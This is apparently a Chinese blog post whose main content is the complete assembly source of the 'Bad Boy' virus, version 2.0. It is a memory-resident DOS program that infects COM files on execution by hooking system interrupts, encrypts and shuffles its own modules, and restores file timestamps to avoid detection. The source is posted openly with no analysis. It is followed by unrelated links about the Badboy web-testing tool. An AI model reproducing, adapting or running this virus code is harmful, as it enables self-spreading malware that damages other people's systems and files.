BadBoy II 源程序

原创 2001年08月31日 04:51:00

 

code segment

assume cs:code,ds:code

.radix 16

org 100

start:

push word ptr cs:[table+2]

push cs

pop ds

jmp word ptr cs:[table] ;go to module 1

curofs dw ?

files db 0 ;number of infected files from this copy

fsize dw 2 ;size of infected file

ftime dw ?

fdate dw ?

stdint21 dd ?

oldint13 dd ?

oldint21 dd ?

oldint24 dd ?

;------------- TABLE WITH MODULE PARAMETERS --------------------

table:

dw offset false_mod_1 ;00

dw offset mod_2 ;02

dw offset mod_3 ;04

dw offset mod_4 ;06 ;offset modules

dw offset mod_5 ;08

dw offset mod_6 ;0a

dw offset mod_7 ;0c

dw offset mod_8 ;0e

dw offset mod_2 - offset mod_1;10

dw offset mod_3 - offset mod_2;12

dw offset mod_4 - offset mod_3;14

dw offset mod_5 - offset mod_4;16

dw offset mod_6 - offset mod_5;18 ;size modules

dw offset mod_7 - offset mod_6;1a

dw offset mod_8 - offset mod_7;1c

dw offset myend - offset mod_8;1e

;------------- MODULE - 1 - CODER/DECODER ----------------------

mod_1:

mov bx,offset table+2 ;first module to working (module 2)

mov cx,6 ;number of modules to working

mod_1_lp1:

cmp bx,offset table+0a

jne mod_1_cont

add bx,2

mod_1_cont:

push bx

push cx

mov ax,[bx] ;ax - offset module

mov cx,[bx+10] ;cx - size of module

mov bx,ax

mod_1_lp2:

xor byte ptr [bx],al

inc bx

loop mod_1_lp2

pop cx

pop bx

add bx,2

loop mod_1_lp1

ret

;------------- MODULE - 2 - MUTATION TO MEMORY -----------------

mod_2:

;instalation check

mov es,cs:[2] ;memory size

mov di,100

mov si,100

mov cx,0bh

repe cmpsb

jne mod_2_install ;jump if not install

jmp word ptr cs:[table+06] ;if install, jump to module 4

mod_2_install:

;instalation

mov ax,cs

dec ax

mov ds,ax

cmp byte ptr ds:[0],'Z'

je mod_2_cont

jmp word ptr cs:[table+6] ;if no last MCB - go to mod4

mod_2_cont:

sub word ptr ds:[3],0c0

mov ax,es

sub ax,0c0

mov es,ax

mov word ptr ds:[12],ax ;decrement memory size with 2K

push cs

pop ds

mod_2_mut:

mov byte ptr cs:files,0

mov di,100

mov cx,offset mod_1-100

mov si,100

rep movsb ;write table to new memory

mov bx,word ptr cs:[table]

add bx,offset mod_1_lp2-offset mod_1+1

xor byte ptr [bx],18 ;change code method

mov cx,8

mov word ptr curofs,offset mod_1

mod_2_lp1:

push cx

call mod_2_rnd ;generate random module addres

push bx ;addres in table returned from mod_2_rnd

mov ax,[bx] ;offset module

push ax

add bx,10

mov cx,[bx] ;length of module

pop si

pop bx

xchg di,curofs

mov word ptr es:[bx],di ;change module offset in table

rep movsb ;copy module to new memory

xchg di,curofs ;change current offset in new memory

mov ax,8000

or word ptr [bx],ax ;mark module - used

pop cx

loop mod_2_lp1

mov cl,8

not ax

mov bx,offset table

mod_2_lp2:

and word ptr [bx],ax ;unmark all modules

add bx,2

loop mod_2_lp2

jmp word ptr cs:[table+4] ;go to module 3

mod_2_rnd:

push cx

push es

xor cx,cx

mov es,cx

mod_2_lp3:

mov bx,es:[46c]

db 81,0e3,07,00 ;and bx,7

shl bx,1

add bx,offset table

test [bx],8000

jnz mod_2_lp3

pop es

pop cx

ret

;------------- MODULE - 3 - SET INTERRUPT VECTORS ---------------

mod_3:

xor ax,ax

mov ds,ax

mov ax,ds:[4*21]

mov word ptr es:[oldint21],ax

mov ax,ds:[4*21+2]

mov word ptr es:[oldint21+2],ax

mov ah,30

int 21

cmp ax,1e03

jne mod_3_getvec

mov word ptr es:[stdint21],1460

mov ax,1203

push ds

int 2f

mov word ptr es:[stdint21+2],ds

pop ds

jmp mod_3_setvec

mod_3_getvec:

mov ax,ds:[4*21]

mov word ptr es:[stdint21],ax

mov ax,ds:[4*21+2]

mov word ptr es:[stdint21+2],ax

mod_3_setvec:

cli

mov ax,word ptr es:[table+0c]

mov ds:[4*21],ax

mov ax,es

mov ds:[4*21+2],ax

sti

mov cx,es

mov ah,13 ;

int 2f ;

push es ;

mov es,cx ;

mov word ptr es:[oldint13],dx ; get standart int13 addres

mov word ptr es:[oldint13+2],ds ;

pop es ;

int 2f ;

jmp word ptr cs:[table+06] ;go to module 4

;------------- MODULE - 4 - RESTORE OLD PROGRAM CODE & START ----

mod_4:

push cs

push cs

pop ds

pop es

mov si,word ptr cs:[table+06]

add si,offset mod_4_cont - offset mod_4

mov di,cs:fsize

add di,offset myend+1

push di

mov cx,offset mod_5 - offset mod_4_cont

cld

rep movsb

ret

mod_4_cont:

mov si,cs:fsize

add si,100

cmp si,offset myend+1

jnc mod_4_cnt

mov si,offset myend+1

mod_4_cnt:

mov di,100

mov cx,offset myend-100

rep movsb

mov ax,100 ;

push ax ; jmp 100

ret ;

;------------- MODULE - 5 - SPECIAL PROGRAM ---------------------

mod_5:

xor di,di

mov ds,di

cli

mov di,word ptr cs:[oldint21]

mov ds:[4*21],di

mov di,word ptr cs:[oldint21+2]

mov ds:[4*21+2],di

sti

ret

db 'Make me better!'

;------------- MODULE - 6 - INT 24 HEADER -----------------------

mod_6:

mov al,3

iret

db 'The Bad Boy virus, Version 2.0, Copyright (C) 1991.',0

;------------- MODULE - 7 - INT 21 HEADER -----------------------

mod_7:

push bx

push si

push di

push es

push ax

cmp ax,4b00

je mod_7_begin

jmp mod_7_exit

mod_7_begin:

push ds

push cs ;

pop es ;

xor ax,ax ;

mov ds,ax ;

mov si,4*24 ;

mov di,offset oldint24 ;

movsw ; change int24 vector

movsw ;

mov ax,word ptr cs:[table+0a] ;

cli ;

mov ds:[4*24],ax ;

mov ax,cs ;

mov ds:[4*24+2],ax ;

sti

pop ds

mov ax,3d00 ;

pushf ;

call cs:oldint21 ;

jc mod_7_ex ; open,infect,close file

mov bx,ax ;

mod_7_infect: ;

call word ptr cs:[table+0e] ;

pushf

mov ah,3e ;

pushf ;

call cs:oldint21 ;

popf

jc mod_7_ex

push ds ;

cli ;

xor ax,ax ;

mov ds,ax ;

mov ax,word ptr cs:[oldint13] ;

xchg ax,word ptr ds:[4*13] ;

mov word ptr cs:[oldint13],ax ; exchange int13 vectors

mov ax,word ptr cs:[oldint13+2] ;

xchg ax,word ptr ds:[4*13+2] ;

mov word ptr cs:[oldint13+2],ax ;

sti ;

pop ds ;

mod_7_ex:

push ds ;

xor ax,ax ;

mov ds,ax ;

mov ax,word ptr cs:oldint24 ;

mov ds:[4*24],ax ;

mov ax,word ptr cs:oldint24+2 ; restore int24 vector

mov ds:[4*24+2],ax ;

pop ds ;

mod_7_exit:

pop ax

pop es

pop di

pop si

pop bx

jmp cs:oldint21

;------------- MODULE - 8 - INFECTING (bx - file handle) --------

mod_8:

push cx

push dx

push ds

push es

push di

push bp

push bx

mov ax,1220

int 2f

mov bl,es:[di]

xor bh,bh

mov ax,1216

int 2f

pop bx

mov ax,word ptr es:[di+11]

cmp ax,0f000

jc mod_8_c

jmp mod_8_exit

mod_8_c:

mov word ptr es:[di+2],2 ;open mode - R/W

mov ax,es:[di+11]

mov cs:fsize,ax ; save file size

mov ax,word ptr es:[di+0dh] ;

mov word ptr cs:[ftime],ax ; save file date/time

mov ax,word ptr es:[di+0f] ;

mov word ptr cs:[fdate],ax ;

push cs ;

pop ds ;

mov dx,offset myend+1 ;

mov cx,offset myend-100 ; read first bytes

mov ah,3f ;

pushf

call cs:oldint21

jnc mod_8_cnt

jmp mod_8_exit

mod_8_cnt:

mov bp,ax ; ax - bytes read

mov si,dx

mov ax,'MZ'

cmp ax,word ptr ds:[si]

jne mod_8_nxtchk

jmp mod_8_exit

mod_8_nxtchk:

xchg ah,al

cmp ax,ds:[si]

jne mod_8_cnt2

jmp mod_8_exit

mod_8_cnt2:

push es

push di

push cs ;

pop es ;

mov si,100 ;

mov di,dx ; check for infected file

mov cx,0bh ;

repe cmpsb ;

pop di

pop es

jne mod_8_cnt1 ;

jmp mod_8_exit

mod_8_cnt1:

mov word ptr es:[di+15],0 ; fp:=0

push es

push di

mov si,word ptr cs:[table+0e]

add si,offset mod_8_cont - offset mod_8

xor di,di

push cs

pop es

mov cx,offset mod_8_cont_end - offset mod_8_cont

cld

rep movsb

pop di

pop es

mov si,word ptr cs:[table+0e]

add si,offset mod_8_cont_end - offset mod_8

push si

xor si,si

push si

push ds ;

cli ;

xor ax,ax ;

mov ds,ax ;

mov ax,word ptr cs:[oldint13] ;

xchg ax,word ptr ds:[4*13] ;

mov word ptr cs:[oldint13],ax ;

mov ax,word ptr cs:[oldint13+2] ; exchange int13 vectors

xchg ax,word ptr ds:[4*13+2] ;

mov word ptr cs:[oldint13+2],ax ;

sti ;

pop ds ;

ret

mod_8_cont:

push bx

call word ptr cs:[table] ; code virus

pop bx

mov dx,100 ;

mov ah,40 ; write code in begin

mov cx,offset myend-0ff

pushf ;

call cs:stdint21 ;

pushf

push bx

call word ptr cs:[table] ; decode virus

pop bx

popf

jnc mod_8_cont1

pop ax

mov ax,word ptr cs:[table+0e]

add ax,offset mod_8_ext - offset mod_8

push ax

ret

mod_8_cont1:

mov ax,es:[di+11] ; fp:=end of file

mov word ptr es:[di+15],ax ;

mov dx,offset myend+1

mov cx,bp ; bp - files read

mov ah,40 ;

pushf ;

call cs:stdint21 ; write in end of file

ret

mod_8_cont_end:

mov ax,5701 ;

mov cx,cs:ftime ;

mov dx,cs:fdate ; restore file date/time

pushf ;

call cs:oldint21 ;

inc cs:files

cmp cs:files,0a

jne mod_8_ext

call word ptr cs:[table+8]

jmp short mod_8_ext

mod_8_exit:

stc

jmp short mod_8_ex

mod_8_ext:

clc

mod_8_ex:

pop bp

pop di

pop es

pop ds

pop dx

pop cx

ret

;---------------------------------------------------------------

myend db 0

int 20 ;code of infected file

 

false_mod_1:

mov word ptr cs:[table],offset mod_1

ret

code ends

end start

使用Badboy做参数化 设置

1.以www.sogou.com 作实例讲解,使用Badboy做参数化 设置
  • u013258415
  • u013258415
  • 2017年08月03日 11:19
  • 268

Badboy+Jmeter性能测试搭建

1 . 简介             (1)   Apache JMeter是Apache组织开发的基于Java的压力测试工具。用于对软件做压力测试,它最初被设计用于Web应用测试,但后来扩展到其他测...
  • u012466304
  • u012466304
  • 2016年07月29日 22:58
  • 3241

3.5.2 使用Badboy录制Web性能测试脚本

3.5.2  使用Badboy录制Web性能测试脚本 本节主要介绍如何使用Badboy录制Web性能测试脚本。由于测试工具Badboy支持对HTTPS协议的录制,因此可以作为JMeter代理录制的有...
  • n8765
  • n8765
  • 2015年06月13日 16:58
  • 1604

jmeter使用badboy录制脚本

下载安装badboy http://www.badboy.com.au/ 开始录制脚本 badboy录制脚本非常简单,输入URL直接操作,就会录制成功,可以回放。初步确认脚本是否有问题 导出脚本导...
  • g695144224
  • g695144224
  • 2016年07月04日 19:58
  • 4664

Badboy自动化测试工具 查看回放结果

在运行脚本时,Badboy提供了Summary功能方便我们监控回放结果状态,如下Summary view: 以下表格对运行情况的各个维度进行解释: 统计点 描...
  • Joy0709
  • Joy0709
  • 2015年08月26日 17:06
  • 1990

Badboy参数化

Badboy的安装简单。 这里主要介绍以搜狗搜索 小强软件测试 为例 跟着一步一步来, 1.在Badboy的TRL 处输入:www.sogou.com 如图所示: 在 搜索编辑框 输...
  • liujingqiu
  • liujingqiu
  • 2016年05月12日 17:21
  • 1491

BadBoy自动化测试工具 界面介绍

一 下载 1. 官网地址http://www.badboy.com.au/ 2. 点击Download 3. 注册个人信息及使用原因(放心是免费的) 4. 下载后安装 5. 点击图标,你...
  • Joy0709
  • Joy0709
  • 2015年08月26日 10:59
  • 2749

Badboy安装教程(含下载地址)

1.Badboy安装教程 2.Badboy安装包下载地址
  • laofashi2015
  • laofashi2015
  • 2017年04月18日 11:12
  • 2708

Badboy录制脚本及参数化

1.记录使用Badboy录制脚本的过程; 2.记录Badboy脚本参数化的方法; 3.记录如何将Badboy脚本保存为JMeter可以识别的测试脚本; 4.使用JMeter回放Badboy脚本...
  • laofashi2015
  • laofashi2015
  • 2017年04月18日 14:45
  • 857

录制脚本badboy工具使用手册

这几天用到了badboy,使用badboy录制测试脚本还是很不错的了,用完之后,想着就总结一下,大家可以参考一下哦...
  • u010423208
  • u010423208
  • 2015年05月20日 16:22
  • 9947
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:BadBoy II 源程序
举报原因:
原因补充:

(最多只允许输入30个字)